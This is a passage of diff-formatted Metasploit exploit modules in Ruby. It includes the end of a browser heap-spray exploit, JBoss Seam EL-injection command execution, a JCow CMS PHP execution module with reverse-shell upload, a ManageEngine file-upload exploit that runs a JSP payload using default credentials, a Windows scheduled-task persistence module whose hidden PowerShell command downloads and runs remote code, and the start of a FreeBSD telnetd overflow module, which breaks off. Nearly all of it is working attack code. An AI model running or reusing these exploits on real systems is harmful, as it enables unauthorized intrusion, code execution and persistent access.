str1 = rand_text_alphanumeric(4);
|
||||
str1 = "Z" * 4
|
||||
str2 = Rex::Text.to_unescape(rand_text_alphanumeric(8));
|
||||
str2 = Rex::Text.to_unescape("\x0d" * 8)
|
||||
str3 = Rex::Text.to_unescape(rand_text_alphanumeric(16));
|
||||
str3 = Rex::Text.to_unescape("\x0c" * 16)
|
||||
|
||||
js = <<-EOF
|
||||
var xunescape = unescape;
|
||||
var shellcode = xunescape("#{enc_code}");
|
||||
|
||||
function make_obj(str) {
|
||||
var cobj = document.createElement(str);
|
||||
document.body.appendChild(cobj);
|
||||
return cobj;
|
||||
}
|
||||
|
||||
function GenerateHTML() {
|
||||
str1 = xunescape("#{str1}");
|
||||
str2 = xunescape("#{str2}");
|
||||
str3 = xunescape("#{str3}");
|
||||
|
||||
document.write(str1);
|
||||
|
||||
obj1 = make_obj("a");
|
||||
obj1.scrollWidth;
|
||||
|
||||
document.write("<a lang></a>" + str2);
|
||||
|
||||
obj2 = make_obj("base");
|
||||
obj2.scrollWidth;
|
||||
|
||||
document.write(str3);
|
||||
obj3 = make_obj("video");
|
||||
}
|
||||
|
||||
var vtable = xunescape("#{enc_vtable}");
|
||||
var oneblock = xunescape("#{enc_ret}");
|
||||
|
||||
while (oneblock.length < #{target['BlockLen']}) {
|
||||
oneblock += oneblock;
|
||||
}
|
||||
oneblock = oneblock.substring(0, #{target['BlockLen']});
|
||||
|
||||
var sprayContainer = new Array();
|
||||
for (loop_int = 0; loop_int < #{target['Containers']}; loop_int++) {
|
||||
var numstr = loop_int.toString(16);
|
||||
while (numstr.length < 8) { numstr = '0' + numstr; }
|
||||
sprayContainer[loop_int] = vtable + oneblock.substr(4, #{target['BlockLen']} - 16) + numstr;
|
||||
}
|
||||
|
||||
GenerateHTML();
|
||||
|
||||
// window.location.reload();
|
||||
|
||||
EOF
|
||||
|
||||
=begin
|
||||
# Obfuscate it up a bit
|
||||
js = obfuscate_js(js, 'Symbols' => {
|
||||
'Variables' => %W{ GenerateHTML xunescape shellcode oneblock sprayContainer make_obj cobj loop_int str1 str2 str3 obj1 obj2 obj3 vtable }
|
||||
}).to_s
|
||||
=end
|
||||
|
||||
return <<-EOS
|
||||
<html>
|
||||
<body>
|
||||
<script type="text/javascript">
|
||||
#{js}
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
EOS
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
@@ -0,0 +1,113 @@
|
||||
#
|
||||
# JBoss seam remote command execution exploit
|
||||
#
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ManualRanking
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'JBoss seam remote command execution (seam-booking example)',
|
||||
'Description' => %q{
|
||||
JBoss Seam 2 (jboss-seam2), as used in JBoss Enterprise Application Platform 4.3.0 for Red Hat Linux,
|
||||
does not properly sanitize inputs for JBoss Expression Language (EL) expressions, which allows remote attackers
|
||||
to execute arbitrary code via a crafted URL.
|
||||
NOTE: this is only a vulnerability when the Java Security Manager is not properly configured.
|
||||
},
|
||||
'Author' => [ 'ruggine' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2010-1871' ],
|
||||
[ 'URL', 'http://' ],
|
||||
],
|
||||
'Platform' => ['unix'],
|
||||
'Arch' => ARCH_CMD,
|
||||
'Privileged' => false,
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 1024,
|
||||
'DisableNops' => true,
|
||||
'Compat' =>
|
||||
{
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'generic'
|
||||
}
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic Target', { }]
|
||||
],
|
||||
# 'DisclosureDate' => '',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8080),
|
||||
OptString.new('JBOSS_ROOT',[ true, 'JBoss root directory', '/'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def exploit
|
||||
connect
|
||||
jbr = datastore['JBOSS_ROOT']
|
||||
cmd_enc = ""
|
||||
cmd_enc << Rex::Text.uri_encode(datastore["CMD"])
|
||||
flag_java_one = 0
|
||||
flag_java_two = 0
|
||||
index = 0
|
||||
explo_part_1 = "seam-booking/home.seam?actionOutcome=/pwn.xhtml?pwned%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()["
|
||||
explo_part_2 = "].invoke(expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()["
|
||||
explo_part_3 = "].invoke(null),'"
|
||||
|
||||
print_status("Finding getDeclaredMethods() indexes... (0 to 24)")
|
||||
|
||||
while index <= 24
|
||||
req =
|
||||
"GET " + jbr + explo_part_1 + index.to_s + "]} HTTP/1.1\r\n" +
|
||||
"Host: #{rhost}\r\n\r\n"
|
||||
|
||||
print_status("Trying index:" + index.to_s)
|
||||
sock.put(req)
|
||||
|
||||
res = sock.get(3,3)
|
||||
|
||||
if res.include? "java.lang.Runtime.exec%28java.lang.String%29"
|
||||
flag_java_one = index
|
||||
print_status("Found right index at:" + index.to_s)
|
||||
elsif res.include? "java.lang.Runtime+java.lang.Runtime.getRuntime"
|
||||
print_status("Found right index at:" + index.to_s)
|
||||
flag_java_two = index
|
||||
end
|
||||
|
||||
index += 1
|
||||
end
|
||||
|
||||
if (flag_java_one > 0 && flag_java_two > 0)
|
||||
print_status("Found vulnerability...")
|
||||
print_status("Sending remote command:" + datastore["CMD"])
|
||||
req =
|
||||
"GET " + jbr + explo_part_1 + flag_java_one.to_s + explo_part_2 + flag_java_two.to_s + explo_part_3 + cmd_enc + "')} HTTP/1.1\r\n" +
|
||||
"Host: #{rhost}\r\n\r\n"
|
||||
sock.put(req)
|
||||
res = sock.get(3,3)
|
||||
puts res
|
||||
if res.include? "pwned=java.lang.UNIXProcess"
|
||||
print_status("Exploit successfull.")
|
||||
else
|
||||
print_status("Exploit failed.")
|
||||
end
|
||||
|
||||
else
|
||||
print_status("Vulnerability not found.")
|
||||
end
|
||||
|
||||
handler
|
||||
disconnect
|
||||
end
|
||||
|
||||
end
|
||||
@@ -0,0 +1,255 @@
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'JCow CMS Remote Command Execution',
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability in the JCow Social Networking CMS.
|
||||
In versions (4.x: 4.2 and lower, 5.x: 5.2 and lower),
|
||||
authenticated members can trigger php code execution via
|
||||
"attachment" parameter.
|
||||
},
|
||||
'Author' => [ 'Aung Khant <YGN Ethical Hacker Group, http://yehg.net/>' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Version' => '$Revision$',
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://www.jcow.net/' ],
|
||||
[ 'URL', 'http://yehg.net/lab/pr0js/advisories/[jcow_4.2,5.2]_arbitrary_code_execution' ]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'Payload' =>
|
||||
{
|
||||
'DisableNops' => true,
|
||||
'BadChars' => "\#",
|
||||
'Space' => 4000,
|
||||
'Compat' =>{'ConnectionType' => 'find'},
|
||||
'Keys' => ['php']
|
||||
},
|
||||
'Platform' => 'php',
|
||||
'Arch' => ARCH_PHP,
|
||||
'Targets' => [[ 'Automatic', { }]],
|
||||
'DisclosureDate' => 'Aug 26 2011',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('URI', [true, "JCow directory path", "/"]),
|
||||
OptString.new('USERNAME', [ false, 'The username to authenticate as', 'hax0r' ]),
|
||||
OptString.new('PASSWORD', [ false, 'The password for the specified username','pwn3d' ]),
|
||||
OptString.new('COOKIE', [ false, 'Authenticated Cookie in face of ReCaptCha' ]),
|
||||
OptString.new('PHP', [ false, 'Arbitrary PHP code to run' ]),
|
||||
OptString.new('CMD', [ false, 'Arbitrary OS Command to run if PHP\'s os cmd execution is not' ]),
|
||||
OptString.new('SHELL', [ false, 'Get PHP Reverse Shell back to your Box'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def check
|
||||
uri = ''
|
||||
uri << datastore['URI']
|
||||
uri << '/' if uri[-1,1] != '/'
|
||||
res = send_request_raw(
|
||||
{
|
||||
'uri' => uri
|
||||
}, 25)
|
||||
|
||||
if (res && res.body =~ /name="Generator" content="Jcow Social Networking Software. ?([0-9]\.[0-9])/)
|
||||
ver = $1
|
||||
print_status("Target Jcow version is #{ver}")
|
||||
|
||||
vers = ver.split('.').map { |v| v.to_i }
|
||||
|
||||
if (vers[0] == 5) and (vers[1] < 3)
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
elsif (vers[0] == 4) and (vers[1] < 3)
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
elsif (vers[0] < 4)
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
else
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
print_error("Unable to determine exploitability. Go Exploiting.")
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
||||
uri_base = ''
|
||||
uri_base << datastore['URI']
|
||||
uri_base << '/' if uri_base[-1,1] != '/'
|
||||
|
||||
|
||||
cookie = datastore['COOKIE']
|
||||
if (cookie == nil)
|
||||
print_status("Trying to login as #{datastore['USERNAME']}")
|
||||
cookie = get_login_cookie(uri_base)
|
||||
if (not cookie)
|
||||
raise RuntimeError, 'Unable to login!'
|
||||
end
|
||||
print_status("Logged in successfully (cookie: #{cookie})")
|
||||
else
|
||||
print_status("Using authenticated cookie: #{cookie}")
|
||||
end
|
||||
|
||||
if (datastore['PHP'])
|
||||
print_status("Executing PHP Code: #{datastore['PHP']}")
|
||||
run_code(uri_base,cookie,datastore['PHP'])
|
||||
end
|
||||
|
||||
if (datastore['CMD'])
|
||||
print_status("Executing CMD: #{datastore['CMD']}")
|
||||
run_code(uri_base,cookie, datastore['CMD'],'os')
|
||||
end
|
||||
|
||||
if (datastore['SHELL'])
|
||||
print_status("Trying to pwn a shell")
|
||||
get_reverse_shell(uri_base,cookie)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
def get_login_cookie(uri_base)
|
||||
|
||||
cookie = nil
|
||||
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'method' => 'POST',
|
||||
'uri' => uri_base + '?p=member/loginpost',
|
||||
'vars_post' =>
|
||||
{
|
||||
'username' => datastore['USERNAME'],
|
||||
'password' => datastore['PASSWORD']
|
||||
}
|
||||
})
|
||||
if (not res or res.code != 302)
|
||||
print_error("Failed to login")
|
||||
if (res.body =~ /<script type="text\/javascript" src="http:\/\/www.google.com\/recaptcha\/api\/challenge/)
|
||||
print_error("Recaptcha Enabled\r\nProvide Authenticated Cookie")
|
||||
end
|
||||
return nil
|
||||
end
|
||||
|
||||
if (res.headers['Set-Cookie'] =~ /PHPSESSID=(.*);/)
|
||||
cookie = $1
|
||||
else
|
||||
print_error("Unable to get authenticated cookie")
|
||||
return
|
||||
end
|
||||
|
||||
cookie
|
||||
end
|
||||
|
||||
def run_code(uri_base, cookie, code, mode='php')
|
||||
|
||||
cmd = nil
|
||||
|
||||
if mode != 'php'
|
||||
cmd = 'error_reporting(0);print+`' << Rex::Text.to_hex("#{code}",prefix = "%") << '`'
|
||||
else
|
||||
cmd = 'error_reporting(0);eval(' << code.unpack("C*").collect{|x| "chr(#{x})"}.join('.') << ')'
|
||||
end
|
||||
|
||||
|
||||
data = "page_id=0&page_type=u&message=hello&youtubeid=0&attachment=#{cmd};//"
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'method' => 'POST',
|
||||
'uri' => uri_base + '?p=streampublish',
|
||||
'data' => data ,
|
||||
'headers' =>
|
||||
{
|
||||
'Cookie' => "PHPSESSID=#{cookie}"
|
||||
},
|
||||
})
|
||||
if (res)
|
||||
if (res.body.to_s.length > 0)
|
||||
is_session_expired(res.body.to_s)
|
||||
print_status("#{mode.upcase} Command Output from the server:")
|
||||
print("\n" + res.body.to_s + "\n\n")
|
||||
else
|
||||
print_error("No data returned from the server")
|
||||
end
|
||||
else
|
||||
print_error("Connection Timeout from the server")
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def is_session_expired(pg)
|
||||
if (pg =~ /please login first/)
|
||||
raise RuntimeError, "Your Login has expired"
|
||||
end
|
||||
end
|
||||
|
||||
def get_reverse_shell(uri_base,cookie)
|
||||
|
||||
cmd_php = '<?php ' << payload.encoded << ' ?>'
|
||||
|
||||
shell_file = 'files/' + rand_text_alphanumeric(6) << '.php'
|
||||
|
||||
shell_url = uri_base + shell_file
|
||||
|
||||
print_status("Uploading the payload: " << shell_url )
|
||||
|
||||
encoded_shell_file = shell_file.unpack("C*").collect{|x|
|
||||
"chr(#{x})"}.join('.')
|
||||
encoded_payload = payload.encoded
|
||||
|
||||
cmd = "file_put_contents(#{encoded_shell_file}, $_SERVER['HTTP_X_CMD'])"
|
||||
|
||||
data = "page_id=0&page_type=u&message=hello&youtubeid=0&attachment=#{cmd};//"
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'method' => 'POST',
|
||||
'uri' => uri_base + '?p=streampublish',
|
||||
'data' => data ,
|
||||
|
||||
'headers' =>
|
||||
{
|
||||
'X-CMD' => cmd_php,
|
||||
'Cookie' => "PHPSESSID=#{cookie}"
|
||||
},
|
||||
})
|
||||
|
||||
if (res)
|
||||
if (res.code.to_i > 200)
|
||||
print_error("Fail to upload : #{res.code} #{res.body[0,500].inspect}...")
|
||||
return
|
||||
elsif (res.code == 200)
|
||||
is_session_expired(res.body.to_s)
|
||||
end
|
||||
end
|
||||
|
||||
print_status("Uploaded successfully")
|
||||
print_status("Getting the shell")
|
||||
|
||||
res = send_request_raw(
|
||||
{
|
||||
'global' => true,
|
||||
'uri' => uri_base + shell_file
|
||||
})
|
||||
handler
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
+262
@@ -0,0 +1,262 @@
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::EXE
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "[INCOMPLETE] ManageEngine Support Center Plus File Upload Vulnerability",
|
||||
'Description' => %q{
|
||||
This module exploits a file upload vulnerability found in ManageEngine Support
|
||||
Center Plus. It is possible to bypass the file extension verification check, and
|
||||
then upload an arbitrary file on to the service. A valid login is required in oder
|
||||
to exploit the upload feature, however, there are default credentials that can be
|
||||
abused. For example, the default installer comes with 'administrator:administrator'
|
||||
for administrative access; or 'guest:guest' for guest access.
|
||||
|
||||
This module currently is incomplete, and can only successfully upload an
|
||||
arbitrary file onto the remote machine. Only tested on Windows.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'xistence', # Original
|
||||
'sinn3r' # Metasploit
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['OSVDB', '86598'],
|
||||
['EDB', '22040']
|
||||
],
|
||||
'Platform' => ['linux', 'win'],
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Winodws', { 'Arch' => ARCH_X86, 'Platform' => 'win' } ],
|
||||
[ 'Linux' , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => "Oct 17 2012"
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptPort.new('RPORT', [true, 'The target port', 8080]),
|
||||
OptString.new('TARGETURI', [true, 'The base directory to the application', '/']),
|
||||
OptString.new('USERNAME', [true, 'The username to login with', 'administrator']),
|
||||
OptString.new('PASSWORD', [true, 'The password to login with', 'administrator'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def base
|
||||
base = target_uri.path
|
||||
base << '/' if base[-1,1] != '/'
|
||||
return base
|
||||
end
|
||||
|
||||
def peer
|
||||
"#{rhost}:#{rport}"
|
||||
end
|
||||
|
||||
def check
|
||||
res = send_request_raw({'uri'=>base})
|
||||
if res and res.body =~ /\<title\>ManageEngine SupportCenter Plus\<\/title\>/
|
||||
return Exploit::CheckCode::Detected
|
||||
else
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
def login(user, pass)
|
||||
#
|
||||
# Get the session ID
|
||||
#
|
||||
res = send_request_raw({'uri'=>base})
|
||||
if res and res.headers['Set-Cookie'] =~ /(JSESSIONID=\w+)\;/
|
||||
session_id = $1
|
||||
vprint_status("#{peer} - #{session_id}")
|
||||
else
|
||||
return ''
|
||||
end
|
||||
|
||||
#
|
||||
# Now login and get the cookie
|
||||
#
|
||||
send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => "#{base}j_security_check;#{session_id}",
|
||||
'cookie' => "#{session_id}; PREV_CONTEXT_PATH=",
|
||||
'headers' => {
|
||||
'Origin' => "http://#{peer}",
|
||||
'Referer' => "http://#{peer}/"
|
||||
},
|
||||
'vars_post' => {
|
||||
'j_username' => user,
|
||||
'j_password' => pass,
|
||||
'logonDomainName' => 'undefined',
|
||||
'sso_status' => 'false',
|
||||
'loginButton' => 'Login'
|
||||
}
|
||||
})
|
||||
|
||||
#
|
||||
# Check if login was successful
|
||||
#
|
||||
res = send_request_raw(
|
||||
{
|
||||
'uri' => "#{base}HomePage.do",
|
||||
'cookie' => session_id
|
||||
})
|
||||
if res and res.body =~ /\<a href\=\"javascript\:preLogout\(\)\"\>Log out\<\/a\>/
|
||||
return session_id
|
||||
end
|
||||
|
||||
return ''
|
||||
end
|
||||
|
||||
def generate_jsp_payload
|
||||
opts = {:arch => target.arch, :platform => target.platform}
|
||||
native_payload = Rex::Text.encode_base64(generate_payload_exe(opts))
|
||||
native_payload_name = Rex::Text.rand_text_alpha(rand(6)+3)
|
||||
ext = (target['Platform'] == 'win') ? '.exe' : '.bin'
|
||||
|
||||
var_raw = Rex::Text.rand_text_alpha(rand(8) + 3)
|
||||
var_ostream = Rex::Text.rand_text_alpha(rand(8) + 3)
|
||||
var_buf = Rex::Text.rand_text_alpha(rand(8) + 3)
|
||||
var_decoder = Rex::Text.rand_text_alpha(rand(8) + 3)
|
||||
var_tmp = Rex::Text.rand_text_alpha(rand(8) + 3)
|
||||
var_path = Rex::Text.rand_text_alpha(rand(8) + 3)
|
||||
var_proc2 = Rex::Text.rand_text_alpha(rand(8) + 3)
|
||||
|
||||
if target['Platform'] == 'linux'
|
||||
var_proc1 = Rex::Text.rand_text_alpha(rand(8) + 3)
|
||||
chmod = %Q|
|
||||
Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path});
|
||||
Thread.sleep(200);
|
||||
|
|
||||
|
||||
var_proc3 = Rex::Text.rand_text_alpha(rand(8) + 3)
|
||||
cleanup = %Q|
|
||||
Thread.sleep(200);
|
||||
Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path});
|
||||
|
|
||||
else
|
||||
chmod = ''
|
||||
cleanup = ''
|
||||
end
|
||||
|
||||
jsp = %Q|
|
||||
<%@page import="java.io.*"%>
|
||||
<%@page import="sun.misc.BASE64Decoder"%>
|
||||
|
||||
<%
|
||||
byte[] #{var_raw} = null;
|
||||
BufferedOutputStream #{var_ostream} = null;
|
||||
try {
|
||||
String #{var_buf} = "#{native_payload}";
|
||||
|
||||
BASE64Decoder #{var_decoder} = new BASE64Decoder();
|
||||
#{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString());
|
||||
|
||||
File #{var_tmp} = File.createTempFile("#{native_payload_name}", "#{ext}");
|
||||
String #{var_path} = #{var_tmp}.getAbsolutePath();
|
||||
|
||||
#{var_ostream} = new BufferedOutputStream(new FileOutputStream(#{var_path}));
|
||||
#{var_ostream}.write(#{var_raw});
|
||||
#{var_ostream}.close();
|
||||
#{chmod}
|
||||
Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path});
|
||||
#{cleanup}
|
||||
} catch (Exception e) {
|
||||
}
|
||||
%>
|
||||
|
|
||||
|
||||
jsp = jsp.gsub(/\n/, '')
|
||||
jsp = jsp.gsub(/\t/, '')
|
||||
|
||||
return jsp
|
||||
end
|
||||
|
||||
def upload_exec(sid, fname, p)
|
||||
#
|
||||
# Upload the payload to the vulnerable host
|
||||
#
|
||||
data = Rex::MIME::Message.new
|
||||
data.add_part(p, 'image/gif', nil, "form-data; name=\"img_file\"; filename=\"#{fname}\"")
|
||||
|
||||
post_data = data.to_s
|
||||
post_data = post_data.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
|
||||
|
||||
print_status("#{peer} - Uploading '#{fname}'...")
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => "#{base}jsp/UploadImage.jsp",
|
||||
'cookie' => sid,
|
||||
'vars_get' => {'Module'=>'WorkOrder' },
|
||||
'ctype' => "multipart/form-data; boundary=#{data.bound}",
|
||||
'data' => post_data
|
||||
})
|
||||
|
||||
if not res
|
||||
fail_with(Exploit::Failure::Unknown, "#{peer} - No response from host while uploading.")
|
||||
end
|
||||
|
||||
#
|
||||
# Example of the pattern we want to capture:
|
||||
# .previewImage("/inline/"+"WorkOrder"+"/"+"3"+"/"+"1351619730601.jsp")
|
||||
#
|
||||
pattern = /\.previewImage\(\"\/(.+)\/\"\+\"(.+)\"\+\"\/\"\+\"(.+)\"\+\"\/\"\+\"(.+)\"/
|
||||
fname = res.body.scan(pattern).flatten
|
||||
if fname.empty?
|
||||
fail_with(Exploit::Failure::Unknown, "#{peer} - Cannot locate the payload new file path")
|
||||
else
|
||||
fname = fname * '/'
|
||||
end
|
||||
|
||||
#
|
||||
# Now try to execute the payload
|
||||
#
|
||||
print_status("#{peer} - Executing '#{fname}'")
|
||||
res = send_request_raw({
|
||||
'uri' => "#{base}#{fname}",
|
||||
'cookie' => sid
|
||||
})
|
||||
|
||||
####################################################
|
||||
# 500 - Unable to compile class for JSP #
|
||||
####################################################
|
||||
print_status(res.message)
|
||||
|
||||
end
|
||||
|
||||
def exploit
|
||||
#
|
||||
# Login in order to obtain the cookie and session ID
|
||||
#
|
||||
user = datastore['USERNAME']
|
||||
pass = datastore['PASSWORD']
|
||||
sid = login(user, pass)
|
||||
if sid.empty?
|
||||
fail_with(Exploit::Failure::Unknown, "#{peer} - Cannot login with '#{user}:#{pass}'")
|
||||
else
|
||||
print_good("#{peer} - Logged in as '#{user}:#{pass}'")
|
||||
end
|
||||
|
||||
#
|
||||
# Upload our payload and execute it
|
||||
#
|
||||
php_fname = "#{Rex::Text.rand_text_alpha(5)}.jsp"
|
||||
p = generate_jsp_payload
|
||||
upload_exec(sid, php_fname, p)
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,130 @@
|
||||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/exploit/powershell'
|
||||
require 'msf/core/exploit/exe'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Local
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Powershell
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::Remote::HttpServer
|
||||
include Msf::Post::File
|
||||
include Post::Windows::Priv
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Windows Schtasks Persistent Payload',
|
||||
'Description' => %q(
|
||||
This Module will create a schtask that can either run once the user is idle,
|
||||
or if the user is part of the admin group you can then create schtasks that can
|
||||
work at boot or user login. Windows checks a users idle time ever 15 minutes.),
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'James Cook @b00stfr3ak44'
|
||||
],
|
||||
'Platform' => ['win'],
|
||||
'SessionTypes' => ['meterpreter'],
|
||||
'Targets' => [['Windows', {}]],
|
||||
'DefaultTarget' => 0,
|
||||
'References' => [
|
||||
['URL', 'http://blog.cobaltstrike.com/2013/11/09/schtasks-persistence-with-powershell-one-liners/']
|
||||
]
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('DELAY', [false, 'Delay in minutesl for user idle time.', 30]),
|
||||
OptString.new('TASKNAME', [false, 'The name to call payload on remote system.', nil]),
|
||||
OptEnum.new('TECHNIQUE', [true, 'Technique to use', 'PSH', %w(PSH EXE)]),
|
||||
OptString.new('PATH', [false, 'Location on disk, %TEMP% used if not set']),
|
||||
OptString.new('FILENAME', [false, 'File name on disk']),
|
||||
OptEnum.new('TYPE', [true, 'Type of task to run.', 'IDLE', %w(LOGIN STARTUP IDLE)])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def primer
|
||||
taskname = datastore['TASKNAME'] || Rex::Text.rand_text_alpha((rand(8) + 6))
|
||||
type = set_type
|
||||
case datastore['TECHNIQUE']
|
||||
when 'PSH'
|
||||
url = get_uri
|
||||
cmd = psh_command(taskname, url, type)
|
||||
when 'EXE'
|
||||
exe_location = upload_exe
|
||||
cmd = %(schtasks /create /tn #{taskname} /tr )
|
||||
cmd << %("#{exe_location}" /sc #{type})
|
||||
end
|
||||
print_good("Executing #{cmd}")
|
||||
cmd_exec(cmd)
|
||||
end
|
||||
|
||||
def upload_exe
|
||||
payload_filename = datastore['FILENAME'] || Rex::Text.rand_text_alpha((rand(8) + 6)) + '.exe'
|
||||
payload_path = datastore['PATH'] || get_env('TEMP')
|
||||
cmd_location = "#{payload_path}\\#{payload_filename}"
|
||||
exe_payload = generate_payload_exe
|
||||
print_status("Uploading #{payload_filename} - #{exe_payload.length} bytes to the filesystem...")
|
||||
write_file(cmd_location, exe_payload)
|
||||
cmd_location
|
||||
end
|
||||
|
||||
def psh_command(taskname, url, type)
|
||||
cmd = "schtasks /create /tn #{taskname} /tr "
|
||||
download_and_run = %('IEX ((new-object net.webclient).downloadstring(''#{url}'''))'")
|
||||
psh_cmd = generate_psh_command_line(
|
||||
path: %("c:\\windows\\system32\\WindowsPowerShell\\v1.0\\),
|
||||
noprofile: true,
|
||||
windowstyle: 'hidden',
|
||||
nologo: true,
|
||||
noninteractive: true,
|
||||
command: download_and_run
|
||||
)
|
||||
cmd << psh_cmd
|
||||
type = " /sc #{type}"
|
||||
cmd << type
|
||||
end
|
||||
|
||||
def on_request_uri(cli, _request)
|
||||
print_status('Delivering Payload')
|
||||
data = cmd_psh_payload(payload.encoded,
|
||||
payload_instance.arch.first,
|
||||
remove_comspec: true,
|
||||
use_single_quotes: true
|
||||
)
|
||||
send_response(cli, data, 'Content-Type' => 'application/octet-stream')
|
||||
end
|
||||
|
||||
def set_type
|
||||
case datastore['TYPE']
|
||||
when 'LOGIN'
|
||||
check_privs
|
||||
'onlogon /ru System'
|
||||
when 'STARTUP'
|
||||
check_privs
|
||||
'onstart /ru System'
|
||||
when 'IDLE'
|
||||
"onidle /i #{datastore['DELAY']}"
|
||||
end
|
||||
end
|
||||
|
||||
def check_privs
|
||||
vprint_status('Checking admin status...')
|
||||
admin_group = is_in_admin_group?
|
||||
if admin_group.nil?
|
||||
print_error('Either whoami is not there or failed to execute')
|
||||
print_error('Continuing under assumption you already checked...')
|
||||
else
|
||||
if admin_group
|
||||
print_good('Part of Administrators group! Continuing...')
|
||||
else
|
||||
fail_with(Exploit::Failure::NoAccess, 'Not in admins group, cannot create schtask')
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,134 @@
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Exploit::Brute
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'FreeBSD based telnetd encrypt_key_id brute force',
|
||||
'Description' => %q{
|
||||
This module exploits a buffer overflow in the encryption option handler of the
|
||||
FreeBSD telnet service.
|
||||
},
|
||||
'Author' => [ 'Nenad Stojanovski <nenad.stojanovski[at]gmail.com>' ],
|
||||
'References' =>
|
||||
[
|
||||
['BID', '51182'],
|
||||
['OSVDB', '78020'],
|
||||
['CVE', '2011-4862'],
|
||||
['URL', 'http://www.exploit-db.com/exploits/18280/']
|
||||
],
|
||||
'Privileged' => true,
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 128,
|
||||
'BadChars' => "\x00",
|
||||
},
|
||||
'Platform' => [ 'bsd' ],
|
||||
'Targets' =>
|
||||
[
|
||||
#
|
||||
# specific targets
|
||||
#
|
||||
[ 'Cisco Ironport 7.x Bruteforce',
|
||||
{
|
